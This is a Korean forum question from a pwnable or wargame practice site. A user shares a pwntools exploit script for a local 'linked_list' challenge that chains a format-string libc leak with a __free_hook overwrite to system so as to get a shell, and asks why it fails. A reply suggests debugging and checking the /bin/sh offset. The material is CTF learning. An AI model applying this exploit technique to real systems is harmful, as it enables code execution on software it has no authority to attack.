풀이 도중 생긴 의문점

푸는 도중에 도저히 이해가 안되는 부분이 있습니다.

image.png

이렇게 __free_hook 주소에다가 system 함수를 집어넣고, free시킬 object_number에 binsh 주소를 넣은 뒤에 free를 시켜봤는데
image.png
쉘이 실행되지 않고 그냥 정상적으로 free가 되는 것을 확인했습니다.

제 생각으로는 system 함수가 실행되어야 할 것 같은데 왜 안되는 건지 모르겠습니다.
아래는 제가 시도했던 코드입니다.

from pwn import *
p = process('./linked_list')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(object_number):
    p.sendlineafter(': ', '1')
    p.sendlineafter(': ', str(object_number))
    for a in range(3):
        p.sendlineafter(': ', '1')
       
def delete(object_number):
    p.sendlineafter(': ', '2')
    p.sendlineafter(': ', str(object_number))
    
def show(object_number):
    p.sendlineafter(': ', '3')
    p.sendlineafter(': ', str(object_number))

def edit(object_number, new_object_number, payload):
    p.sendlineafter(': ', '4')
    p.sendlineafter(': ', str(object_number))
    p.sendlineafter(': ', str(new_object_number))
    for a in range(2):
        p.sendlineafter(': ', str(0))
    p.sendlineafter(': ', payload)

#Leak libc_base & free_hook
p.sendlineafter(': ', '%3$p')
libc_base = int(p.recvn(14).decode(), 16) - 0x1036dd
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + 0x1a7e43

add(1)
add(2)
edit(1, 1, b'b'*0x100 + p64(free_hook))
edit(0, system, str(2))
add(bin_sh)

p.interactive()

도와주세요..ㅠㅠ

#pwnable
Author
Answers 1
This answer was accepted. Thanks for sharing!
l하늘섬l
Bookworm

freehook이 된 이후에 system 함수 호출이 제대로 되는지 디버깅이 필요할 것 같습니다.

만약 system 함수가 제대로 실행이 된다고 하면 /bin/sh 인자가 제대로 들어가는지 확인해봐야 할 것 같네요

이전에 경험했을 때, strings 명령으로 찾은 적이 있었는데 /bin/sh가 아닌 이상한 문자열도 붙어있는 /bin/sh12ag 이런 문자열이 입력되어서 쉘이 실행이 안되는 경우가 있어서 해당 offset의 /bin/sh 값을 확인해보셔야 할 것 같아요

2025.02.03. 11:30
Know the answer?
Share your knowledge and earn points!
Post your answer and earn points